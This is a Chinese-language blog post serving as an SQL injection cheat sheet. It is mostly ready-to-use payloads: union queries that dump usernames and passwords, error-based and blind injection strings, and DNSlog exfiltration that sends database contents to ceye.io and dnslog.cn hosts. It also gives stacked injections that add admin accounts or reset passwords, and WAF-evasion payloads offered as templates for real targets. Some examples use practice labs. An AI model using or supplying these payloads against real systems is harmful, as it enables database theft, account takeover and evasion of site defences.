SQL注入-干货!干货!

SQL注入

判断是否存在注入点
判断数据库类型
MySQL、Access、mssql、Oracle、postsql、sqlite、MongoDB等等
判断提交方式
GET、POST、COOKIE、REQUEST、HTTP头部等等
判断类型
数字型、字符型、搜索型
判断查询方式
select、insert、update、delete、order by等等
有无回显判断(回显/盲注)
回显注入、无回显注入(报错盲注)、延时盲注、布尔盲注
注入拓展
加解密注入、JSON注入、dnslog注入、二次注入、堆叠注入等等
WAF绕过
更改提交方式,大小写组合,解密编码,注释符的混用,等价函数替换等等
防范
代码层级过滤、WAF产品部署

一、原理
SQL注入原理是在数据库交互的地方,开发者在代码层级开发过滤不严谨,导致输入的恶意sql语句被执行,从而获取服务器和管理员的敏感信息

SQL注入产生原理详细分析:
存在可控变量,带入数据库查询,变量未存在过滤或过滤不严谨

二、判断注入点
老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点
新方法:
要选用最舒服的方法测试,就是随意输入数据,发现页面报错。可能是把我们的输入带入数据库查询了

判断是否字符串型注入(看哪个页面返回正常)
变量的闭合方式不同,分别尝试,比如:','),",")等等
例如:
?id=1 and 1=1    数字型注入
?id=1' and 1=1    字符串型注入

三、数据库结构
MYSQL数据库
数据库A=网站A=数据库用户A
表名
列名
数据
数据库B=网站B=数据库用户B
。。。。。
数据库C=网站C=数据库用户C
。。。。。

在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
 
数据库中符号"."代表下一级,如pikachu.user表示pikachu数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名

四、注入阶段
判断注入点
猜解列名数量(字段数) order by x 错误与正常的正常值
http://xxx.xxx.xxx.xxx:xxxx/xxxxx.php?id=1 order by 4
 
报错猜解准备:
http://xxx.xxx.xxx.xxx:xxxx/new_list.php?id=1 union select 1,2,3,4
http://xxx.xxx.xxx.xxx:xxxx/new_list.php?id=-1 union select 1,2,3,4
 
信息收集:
数据库版本:version()          
数据库名字:database()         
数据库用户:user()            
操作系统:@@version_compile_os

(一)、union select联合查询注入:

墨者靶场为例:
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://xxx.xxx.xxx.xxx:xxxx/new_list.php?id=-1 union select
1,group_concat(table_name),3,4 from information_schema.tables where
table_schema='mozhe_Discuz_StormGroup'
 
查询指定表名StormGroup_member下的列名信息: 
http://xxx.xxx.xxx.xxx:xxxx/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from information_schema.columns where
table_name='StormGroup_member'
 
查询指定数据 
http://xxx.xxx.xxx.xxx:xxxx/new_list.php?id=-1 union select
1,name,password,4 from StormGroup_member
 
猜解多个数据可以采用limit x,1 变动猜解逐一猜解看变化

(二)、高权限注入及低权限注入
跨库查询及应用思路 
information_schema表特性,记录库名,表名,列名对应表

root用户权限高,可查看同服务器下的所有数据库信息,如果是root用户可实现跨库查询
user()查询是否为root用户
例如:

sqli-labs为例:
获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取其他数据库信息:
获取指定pikachu数据库名下的表名信息:
union select 1,group_concat(table_name),3 
from information_schema.tables 
where table_schema='pikachu'

获取指定pikachu下的表名users下的列名信息:
union select 1,group_concat(column_name),3 
from information_schema.columns 
where table_name='users' and table_schema='pikachu'
 
获取指定pikachu下的users数据
union select 1,username,password,4 from pikachu.users

(三)、文件读写操作
load_file():读取函数
into outfile或 into dumpfile :导出函数

LOAD_FILE()函数
读取一个文件并将其内容作为字符串返回
语法:load_file(文件的完整路径)
此函数使用需要满足的条件:
文件必须位于服务器主机上,具有该FILE权限才能读取该文件,拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,并且它的大小小于max_allowed_packet字节

路径获取常见方法:
报错显示,遗留文件,漏洞报错,平台配置文件,爆破等

windows:
d:/wwwroot/pikachu/
linux:
/var/www/pikachu

http://www.bachang.com:81/Less-2/?id=-1 union select 1,load_file('c://123.txt'),3--+

常见写入文件问题:魔术引号开关
magic_quotes_gpc     #(在php.ini的990行左右)

绕过:可以把url编码为hex进行绕过
绕过原理:sql可以识别并执行用hex表示的语句

遇到 is_int() 函数过滤输入的情况:直接跑路,无法绕过

如果为root用户可实现文件的读写,可通过load_file和into outfile来读取文件和写入木马文件

(四)、明确类型
简要明确参数类型
数字,字符,搜索,JSON等
 
简要明确请求方法
GET,POST,COOKIE,REQUEST,HTTP头等

http头部注入:
该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。

COOKIE注入:

在COOKIE信息当中进行注入,当信息被带入数据库进行查询,执行处理,可对其进行注入。


其中SQL语句干扰符号:’,",%,),}等,具体需看写法
可能有些网站是以Request的方式接受参数,所以GET和POST都行  
注入的地方可能在User-Agent上,关键是看是否带入数据库查询。

(五)、不同数据库类型注入
数据库的架构
数据库架构组成,数据库高权限操作

各种注入工具的使用
熟悉工具的支持库,注入模式,优缺点等
Sqlmap,NoSQLAttack,Pangolin等


access(单纯只有数据,只能猜表名等,猜不到直接走)
表名
列名
数据
 
mysql mssql等
数据库名A
表名
列名
数据
数据库名B


Access注入
判断列数
?id=1 order by 4
猜表名
?id=1 union select 1,username,passwd,4 from admin

SQL Server注入
可用工具 Pangolin,图形化注入

Windows读文件
type C:\\test\\key.txt


PS:
Access注入时,如果列名或表名猜解不到的情况怎么办?
可采用access偏移注入
查看登陆框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

判断注入点,查字段个数,判断回显点
判断表内存在的字段个数:
payload:
/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误

/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 错误
....
/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确
说明了admin表下有6个字段
用"*"代表 admin 表的字段数,计算*代替字符的位数。

Access偏移注入原理,基本公式为:
order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;
也就是:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
爆列名数据:
一级偏移语句:
payload:
asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

若发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
payload:
asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
ps:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4


(六)、查询方式及报错盲注
1、不同的SQL查询方式:
select 查询数据
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
 
insert 插入数据
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,’$t’)
 
delete 删除数据
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
 
update 更新数据
会员或后台中心数据同步或缓存等操作
例:update user set pwd=’$p’ where id=2 and username=‘admin’
 
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order

我们可以通过以上查询方式与网站应用的关系
注入点产生地方或应用猜测到对方的SQL查询方式

2、SQL注入报错盲注
盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为以下三类:
(1)基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid

一些函数的用法:
like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^rumilc[a-z]’ #匹配rumilc及rumilc…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

(2)基于时间的SQL盲注-延时判断
if,sleep
二者一般组合使用

(3)基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue

PS:

updatexml显示长度限制,限制长度为32,无法显示出来,我们可以使用substr( )函数
用法:
数据库的substr函数用法:
1、【substr(str,pos,len)】从pos开始的位置,截取len个字符;
2、【substr(str,pos)】 pos开始的位置,一直截取到最后。

使用limit进行猜解也可


pikachu靶场为例:
sql注入insert/update、delete注入
不同的参数点,可分别测试,满足SQL注入条件均可实现注入
(数据库交互,sql语句带入查询,过滤不严谨)

1、pikachu insert插入数据:
使用floor注入:
username=x' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
&password=rumilc&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

payload:
' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '


使用updatexml注入:
username=x' or updatexml(1,concat(0x7e,(version())),0) or '&password=rumilc&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

payload:
' or updatexml(1,concat(0x7e,(version())),0) or '

使用extractvalue注入:
username=x' or extractvalue(1,concat(0x7e,database())) or '&password=rumilc&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei&submit=submit

payload:
' or extractvalue(1,concat(0x7e,database())) or '

2、pikachu update更新数据:
使用floor注入:
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '&email=wuhan&submit=submit

payload:
' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '


使用updatexml注入:
sex=%E7%94%B7&phonenum=13878787788&add=hubeNicky' or  updatexml(1,concat(0x7e,(version())),0) or '&email=wuhan&submit=submit

payload:
' or  updatexml(1,concat(0x7e,(version())),0) or '

使用extractvalue注入:
sex=%E7%94%B7&phonenum=13878787788&add=Nicky' or extractvalue(1,concat(0x7e,database())) or '&email=wuhan&submit=submit

payload:
' or extractvalue(1,concat(0x7e,database())) or '

3.pikachu delete注入:
GET请求,使用burpsuite抓包时,在url信息中注入时,空格用+代替,否则会出现问题
floor:
/pikachu/vul/sqli/sqli_del.php?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

payload:
+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)

updatexml:
pikachu/vul/sqli/sqli_del.php?id=56+or+updatexml+(1,concat(0x7e,database()),0)

payload:
+or+updatexml+(1,concat(0x7e,database()),0)


extractvalue: 
/pikachu/vul/sqli/sqli_del.php?id=56+or+extractvalue(1,concat(0x7e,database()))

payload:
+or+extractvalue(1,concat(0x7e,database()))


延时盲注:

and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+


布尔盲注:
通过函数去猜解数据库名,数据表等信息
(不推荐使用,一般编写脚本或工具使用)

like ‘ro%’ #判断ro或ro…是否成立
regexp ‘^rumilc[a-z]’ #匹配rumilc及rumilc…等
if(条件,5,0) #条件成立 返回5 反之 返回0
sleep(5) #SQL语句延时执行5秒
mid(a,b,c) #从位置b开始,截取a字符串的c位
substr(a,b,c) #从b位置开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8 #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

以上模版套用即可,不同的环境条件,稍加修改即可

(七)、二次,加解密,DNS等注入
一、DNS注入
DNSlog:解决了盲注不能回显数据,效率低的问题
网站:http://ceye.io/
payload:
?id=-1 and if((select load_file(concat('\\\\',(select version()),'.vbdpkn.ceye.io\\abc'))),1,0)--+

?id=-1 and if((select load_file(concat('\\\\',(select 
version()),'.vbdpkn.ceye.io\\abc'))),1,0)--+


网站:http://www.dnslog.cn/
获取域名
构造注入语句
(根据实际情况构造)
http://www.bachang.com:81/Less-2/?id=-1 union select 1,load_file('c://123.txt'),3--+

payload:
select load_file(concat('//',(select database()),'.rfs3ex.dnslog.cn/abc'))
select load_file(concat('\\\\',(select database()),'.rfs3ex.dnslog.cn\\123'))

load_file()函数访问的是文件,所以域名后面需要添加/abc

二、二次注入
原理:
攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

即输入恶意的数据库查询语句时会被转义,但在数据库调用读取语句时又被还原导致语句执行。

在二次注入中,一般不会是单纯的二次注入,通常还会与报错注入或Bool盲注结合。
比如,在注册页面输入的用户名在登录后才有盲注的回显,这时候我们需要自己编写脚本模拟注册及登录。

发现:
无法通过扫描工具或者手工测试出来,二次注入一般在审计代码过程中发现

二次注入是无法在黑盒测试(无源代码信息)中分析到的,需要在有一定代码的白盒的情况下才能分析到,用扫描工具也无法扫描到二次注入。
因此二次注入普遍产生在“代码审计”里,拿到代码后通过代码挖漏洞。

从前端或黑盒测试无法看到

利用过程:
第一步:构造恶意语句
语句含有被转义字符的恶意查询语句

第二步:插入恶意数据
进行数据库插入数据时,对其中特殊字符进行了转义处理,在写入数据库时保留了原来的数据。

第三步:二次构造语句,引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出构造的恶意数据,没有进行进一步的检验

总之:
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

三、中转注入
遇到可变参数传入时被编码时,可使用sqlmap脚本进行注入
如果没有脚本,可以通过中转实现,编写脚本将网站放到本地,通过sqlmap去跑就行测试
即:
比如受害者网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。
因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击了。或者sqlmap自己编写tamper脚本进行攻击
php,python等均可实现

php代码:
<?php
//SQL中转注入
$url='http://xxxxxxxx/xxxx.php?id=';
$payload=base64_encode($_GET['x']);
//payload拼接到url后面
$urls=$url.$payload;
//请求url的地址
file_get_contents($urls);
echo $urls;    //输出检测验证是否正常
?>

(八)、堆叠及WAF绕过注入
一、堆叠注入:
Stacked injections(堆叠注入)从名词的含义就可以看到
应该是一堆 sql 语句(多条)一起执行。
而在真实的运用中也是这样的, 我们知道在 mysql 中, 
主要是命令行中, 每一条语句结尾加; 表示语句结束。
这样我们就想到了是不是可以多句一起使用。
这个叫做 stacked  injection。

得到的管理员密码无法进行解密时,无法登录后台。可使用堆叠注入,进行插入一人新的管理员用户,进行登录即可。即重新添加管理员

比如:
使用insert插入:
http://127.0.0.1/sqli-labs/Less-38/index.php?id=1';insert into users(id,username,password) values('38','less38','hello')--+

PS:
分号后面的语句自定义,想干什么干什么,比如update更新,insert插入都可以,自定义即可

update语法:
Update table_name Set column_name = new_value Where column_name = old_value

payload:
?id=1';update users set password='laolin' where password='666666';--+

注意单引号的闭合,数据类型判断好


handler用法:
使用handler 读取数据 这个handler只能一行一行的读取使用read first、next、prev、last
1.打开表
handler table_name open
2.读取第一行
handler table_name read first或者(next)
3.关闭表
handler table_name close

模版套用:
闭合方式自行验证即可。(明确类型)
';handler table_name open;handler table_name read next;handler table_name close;#或者-- +

二、WAF绕过
1、SQL语句可以正常执行
2、网站防护不会正常去匹配,不影响查询结果
基本可实现绕过
判断拦截什么,进行拆分拼接组合
部分绕过payload:
union%23a%0aselect 1,2,3#
注释和换行实现绕过


数据库的特性
/*!select * from users*/;
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行

Mysql技巧
(1)mysql注释符有三种:#、/*...*/、--  ... 
(注意--后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(3)内联注释:
/*!UnIon12345SelEcT*/ 1,user()   
//数字范围 1000-50540
(4)mysql黑魔法
select{x username}from{x11 test.admin};

payload:
根据类型不同的判断
回显:
id=1 union/*%00*/%23a%0A/*!/*!select 1,2,3*/;%23
爆数据库:
id=-1 union/*%00*/%23a%0A/*!/*!select%201,database%23x%0A(),3*/;%23

特殊数字和内联注释
在1-55000之间找特殊数字(数字根据需要自定义即可),这个数字表示数据库版本。比如50726代表数据库是>=5.7.26版本该语句才会被执行
即对sql语句进行封装,穿插各种符号以及数据库特性,最后不影响执行,而且WAF还不影响正常的去识别,不影响查询结果,其他都是同理,防止匹配即可。

payload:
d=-1%20union%20/*!44509select*/%201,2,3%23
%20为url编码,解码后为空格。%23为#,即注释符
id=-1 union /*!44509select*/ 1,2,3#

id=-1%20union%20/*!44509select*/%201,%23x%0A/*!database*/(),3%23
id=-1 union /*!44509select*/ 1,#x
/*!database*/(),3#

http://192.168.100.142/sqli/Less-1/index.php?id=-1' /*!50001union*/%23a%0a/*!50001select*/ 1,database/**/(),3--+


参数污染
不同的web服务器,不同的获取参数方式不同,最后获得的参数结果也不同
比如:
web服务器:PHP/Apache
请求方式:GET请求
接收参数:Last(最后一个参数为止)

由此可构造payload(根据情况不同构造方式,基本差不多,反复不同的尝试)
payload:
id=1/**&id=-1%20union%20select%201,2,3%23*/
id=1/**&id=-1 union select 1,2,3#*/
若存在web防火墙:(安全狗)

安全狗检测到的:1/**&id=-1 union select 1,2,3#*/,以为/***/里面是注释不执行
Apache检测到的:-1 union select 1,2,3#*/ 以后一个id值为准

id=-1 %20union%20all%23%0a%20select%201,2,3%23
id=-1  union all#
select 1,2,3#

id=-1 %20union%20all%23%0a%20select%201,%230%0Adatabase/**/(),3%23
id=-1  union all#
select 1,#0
database/**/(),3#

......

其他绕过方式:
大小写/关键字替换
各种编码绕过
编码解码及加密解密
更改请求提交方式
静态资源
利用白名单(IP白名单,url白名单,爬虫白名单等)
url构造等
结合工具搭配使用以及编写脚本

手工+脚本+工具相结合提高注入效率!

......

文章不妥之处,欢迎批评指正!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值